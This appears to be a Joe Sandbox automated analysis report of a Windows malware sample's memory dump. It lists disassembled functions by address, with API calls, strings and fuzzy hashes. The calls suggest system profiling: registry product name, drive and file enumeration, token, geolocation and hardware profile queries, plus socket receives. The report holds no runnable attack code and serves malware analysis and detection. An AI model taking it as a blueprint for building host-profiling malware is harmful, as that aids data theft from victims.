Function 00007FF75A6F70E0 Relevance: 7.6, APIs: 5, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6F7169
RegEnumKeyExA.KERNEL32 ref: 00007FF75A6F71AE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: EnumOpen
String ID:
API String ID: 3231578192-0
Opcode ID: d80f14cf87453080268adb68deae75d6ba4fc3d7dfc0e44dc0fd8621660a0c44
Instruction ID: 885d8b11f674db89bf6b7fee061f48f7227eef20d0857c8b1e8afcf1f04fca16
Opcode Fuzzy Hash: d80f14cf87453080268adb68deae75d6ba4fc3d7dfc0e44dc0fd8621660a0c44
Instruction Fuzzy Hash: 4031C032A04B8685F720DF61E8406AEB764FF48B98F640635EE9C17A58DF38D492C700

Function 00007FF75A6F0040 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 333COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F064D

Strings

exists, xrefs: 00007FF75A6F0663
ios_base::badbit set, xrefs: 00007FF75A6F0685, 00007FF75A6F06BC, 00007FF75A6F06FA

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists$ios_base::badbit set
API String ID: 3668304517-2074760687
Opcode ID: 9c212db4c82d92830e59b70067b9752c57f71beb995aa16eebf0dfdee3594f19
Instruction ID: 8ea111a573110c7f25b5b2c5593580220db413d3912a3ada72cdd22d18b1dfc6
Opcode Fuzzy Hash: 9c212db4c82d92830e59b70067b9752c57f71beb995aa16eebf0dfdee3594f19
Instruction Fuzzy Hash: 9AF14E72A1DBC695FA60EB14E4943EAA361FFC4B40F844172DA8D43AA9EF3CD545CB10

Function 00007FF75A6F0730 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 325COMMON

Download Yara Rule

Strings

exists, xrefs: 00007FF75A6F0D3B
ios_base::badbit set, xrefs: 00007FF75A6F0D5D, 00007FF75A6F0D94, 00007FF75A6F0DD2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID: exists$ios_base::badbit set
API String ID: 0-2074760687
Opcode ID: cecd11ad5ee8cdb9877cbbb7edfdf17f2885f2490954fed0ddb21530dbaeee03
Instruction ID: c9104b28b0532f8a455bb0b0dca18027b6be9701d5c3dae59c684ab4f1c207ec
Opcode Fuzzy Hash: cecd11ad5ee8cdb9877cbbb7edfdf17f2885f2490954fed0ddb21530dbaeee03
Instruction Fuzzy Hash: 02F16172A09BC691FA20EB14E4943EEA361FFC4B80F844572DA8D43A99EF7CD545CB50

Function 00007FF75A6A7AA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A6F73F0: GetLogicalDriveStringsW.KERNEL32 ref: 00007FF75A6F7461

Part of subcall function 00007FF75A6A7AA0: FindFirstFileW.KERNEL32 ref: 00007FF75A6A6E8F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A7C0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A7C15

Strings

content, xrefs: 00007FF75A6A755F
filename, xrefs: 00007FF75A6A746A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$DriveFileFindFirstLogicalStrings
String ID: content$filename
API String ID: 3820383557-474635906
Opcode ID: 128ca15f0d98075c3f0a61a3ca86a0963465cbcc2af5fdb1fcdb19ca973973cb
Instruction ID: 7ab04ed4e42bd90f7034918db62c48bbc6bf53e0293fd34014eb2c8c7e8b1270
Opcode Fuzzy Hash: 128ca15f0d98075c3f0a61a3ca86a0963465cbcc2af5fdb1fcdb19ca973973cb
Instruction Fuzzy Hash: F44186A3F1868181FA20AF15E44026EE752EFC8BF4F5C5771EAAD076DADE3CD1818614

Function 00007FF75A6B8560 Relevance: 6.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B86A0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B86A6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B879F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B87A5

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 6e25f482e39bbceb6aa85a7054720217b5e50255d695bd2e7a9d549efc5ef31b
Instruction ID: e07a874e6eb83ffb0ca7c28d9b0720101924613ab6c9adefb1e0fc9b0037dfbd
Opcode Fuzzy Hash: 6e25f482e39bbceb6aa85a7054720217b5e50255d695bd2e7a9d549efc5ef31b
Instruction Fuzzy Hash: 7A516262B0974A85FE15AF11A5003B9E652EF08FE4F9C0A71DE6D077D6EE3CD8828350

Function 00007FF75A6EF820 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF75A6EF85B
OpenProcessToken.ADVAPI32 ref: 00007FF75A6EF86E
GetTokenInformation.KERNELBASE ref: 00007FF75A6EF8AA
CloseHandle.KERNEL32 ref: 00007FF75A6EF8CB

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 1c225c442ed3ae12c114120d81f2afce391d37106ff629cfd40a7a8c2f449ed4
Instruction ID: 2aaa834f8488fdfbc1a5b61101c136e1222793811c7475c73ed11ee58058fdc1
Opcode Fuzzy Hash: 1c225c442ed3ae12c114120d81f2afce391d37106ff629cfd40a7a8c2f449ed4
Instruction Fuzzy Hash: 4D11C932A18B8182F750AF16F45036BB7A1FB88B80F985575EA9D47B68CF7CD405CB50

Function 00007FF75A6B1EB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B209C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B20A2

Strings

, xrefs: 00007FF75A6B1F33

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-3916222277
Opcode ID: 336825bb6ec552b2255ba205852975222f8075cf9761890abf88a9c0bd67c094
Instruction ID: cd5681f7b59af05f4f675dcf34a8c51db1ac170ee77b12063ca159f79070f1d5
Opcode Fuzzy Hash: 336825bb6ec552b2255ba205852975222f8075cf9761890abf88a9c0bd67c094
Instruction Fuzzy Hash: 06518F32B08B4996EB159F2AD05026CB3A1FB48F90F984672CF5D437A4DF39E461C310

Function 00007FF75A6F6460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegGetValueA.KERNEL32 ref: 00007FF75A6F64C9

Strings

ProductName, xrefs: 00007FF75A6F64B4
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF75A6F64BB

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Value
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3702945584-1787575317
Opcode ID: ca02e5c3ed8e0fc6be14c1ad152ff79eaac3ff22c286f7938fb5c96ca43ff221
Instruction ID: 604c240823e663616b44e627044d7953dcf4714aa60126cab0ae3aaeb87fe68a
Opcode Fuzzy Hash: ca02e5c3ed8e0fc6be14c1ad152ff79eaac3ff22c286f7938fb5c96ca43ff221
Instruction Fuzzy Hash: 24117F32A08B8182E7209F21F4413AAF3A4FF88B88F944635EA9C03B58DF7CD155CB50

Function 00007FF75A6F4DB7 Relevance: 4.7, APIs: 3, Instructions: 182networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF75A6F50EC
closesocket.WS2_32 ref: 00007FF75A6F50FE
WSACleanup.WS2_32 ref: 00007FF75A6F5104
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F521A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5226
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F522C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5232

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Cleanupclosesocketrecv
String ID:
API String ID: 1729841683-0
Opcode ID: 153a8f367251099ea56c5ded8da1f9f529a81eefe5b5680142481da0f3f56135
Instruction ID: 709d293bc82e1fec2a7c231ddfdb27b0275e2dc5ab60a97cd1902793ce0a3952
Opcode Fuzzy Hash: 153a8f367251099ea56c5ded8da1f9f529a81eefe5b5680142481da0f3f56135
Instruction Fuzzy Hash: 5991B662E18BC241FA20EB14E4443AEA752EFC9BA0F945771DAAD03AD9DF7CD481C750

Function 00007FF75A69E2A0 Relevance: 4.7, APIs: 3, Instructions: 175COMMON

Download Yara Rule

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 00007FF75A69E3D3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: __std_fs_directory_iterator_open
String ID:
API String ID: 4007087469-0
Opcode ID: 11d8d49c8c395776cbcd5edbc15f09aad149487428d3542752543d0f65e9b254
Instruction ID: c6696271733edc0a457cd116eb42d6792d1397d4de5fb0d9582d5344519190a1
Opcode Fuzzy Hash: 11d8d49c8c395776cbcd5edbc15f09aad149487428d3542752543d0f65e9b254
Instruction Fuzzy Hash: 5861B362F14B428DFB10EF65D4807BCA2A2EF48FA8F8846B1DE1D576D5DE3CD4918260

Function 00007FF75A6B9450 Relevance: 4.6, APIs: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B94FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B9505
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B958C

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: be1b3d1eee05a27b5546cac85815e16f132c2ddf88a860b07e8a1267dfc6dc20
Instruction ID: 17d8600a641f118a6f3f9c83cf41ed1b36ea2ac59c808bf47fb174aa422c2b24
Opcode Fuzzy Hash: be1b3d1eee05a27b5546cac85815e16f132c2ddf88a860b07e8a1267dfc6dc20
Instruction Fuzzy Hash: CB319C73B15A8984FB04EF28D4543BCA396EF44F88F984975DB5D06A9ADF2DC8808354

Function 00007FF75A6EEED0 Relevance: 4.6, APIs: 3, Instructions: 87COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 00007FF75A6EEF29
CoTaskMemFree.OLE32 ref: 00007FF75A6EEFEA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6EF012

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 06abcba0fc6b81994d27e6ba2f45d8e2e84e19e9ea726bb327585e49e254f2c7
Instruction ID: bcebbcec6d1039e373286eac54783144794f53b9ef0a4be31c176e5401bbdc12
Opcode Fuzzy Hash: 06abcba0fc6b81994d27e6ba2f45d8e2e84e19e9ea726bb327585e49e254f2c7
Instruction Fuzzy Hash: 39316262E18B8582F7209F25E44026AB761FF98BB4F645735FAAC02695DF7CD1818B40

Function 00007FF75A6F6E1B Relevance: 4.6, APIs: 3, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6F6E37
RegQueryValueExA.KERNEL32 ref: 00007FF75A6F6E76
RegCloseKey.ADVAPI32 ref: 00007FF75A6F6F14

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 11475176b76eb57d8b8a12ce903080e854821220ed2306c7bb027ff8b64a26c0
Instruction ID: c00e5d4fec9ff8bbdf9a161a1a26f35fba0ed9d12bfc31953386a56f83a258e0
Opcode Fuzzy Hash: 11475176b76eb57d8b8a12ce903080e854821220ed2306c7bb027ff8b64a26c0
Instruction Fuzzy Hash: EE21E766E1878241FA10AF25E04136AE751FFC9BD4F845231FA8D02A99DE2CD085C710

Function 00007FF75A6F58D0 Relevance: 4.6, APIs: 3, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32 ref: 00007FF75A6F58F7
GetGeoInfoA.KERNEL32 ref: 00007FF75A6F5911
GetGeoInfoA.KERNEL32 ref: 00007FF75A6F5961

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Info$User
String ID:
API String ID: 2017065092-0
Opcode ID: 877c1b4e073b3a87c3d7ac6068cbd316133fc0437c9f32c249d117db553f0db1
Instruction ID: 87a8a88a428363fc850a283405ad0f8206e9c7a8a7aefce8699a3897222c525e
Opcode Fuzzy Hash: 877c1b4e073b3a87c3d7ac6068cbd316133fc0437c9f32c249d117db553f0db1
Instruction Fuzzy Hash: 81119072A1878682E710AF61E45075EB3A2FB84FC8F485135EB8907B59DF7CD890CB44

Function 00007FF75A714F60 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF75A714F5C), ref: 00007FF75A714F71
TerminateProcess.KERNEL32(?,?,?,00007FF75A714F5C), ref: 00007FF75A714F7C
ExitProcess.KERNEL32 ref: 00007FF75A714F8B

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 38c7b4f83e553420579c8e330882a64258dcf8d372290847a19fb81a50e45df1
Instruction ID: da819c8fead1fc24d4e8c7cb478de4fe6417d590018ff120b9bff03888181e10
Opcode Fuzzy Hash: 38c7b4f83e553420579c8e330882a64258dcf8d372290847a19fb81a50e45df1
Instruction Fuzzy Hash: 3DD09254F0870256FB187FB05C9507C93A96F9D701FCC1CB8DA0B16393CE6DAC4942A0

Function 00007FF75A6F6C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 00007FF75A6F6CAC

Strings

Unknown, xrefs: 00007FF75A6F6D66

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 22e8dba5ae4e86c0326f8be6cf605145216d5eee1111140a83b2067be56ce9ba
Instruction ID: 06ba031b6419fde0dfc7c76df1ea94d77d7a03969361cc16e7c66cf55958d91e
Opcode Fuzzy Hash: 22e8dba5ae4e86c0326f8be6cf605145216d5eee1111140a83b2067be56ce9ba
Instruction Fuzzy Hash: 2931D223A2CBC186F710DF20E5402AAA760FB99B44F985235FBCD02A5ADF7CD595CB00

Function 00007FF75A6FC190 Relevance: 3.3, APIs: 2, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
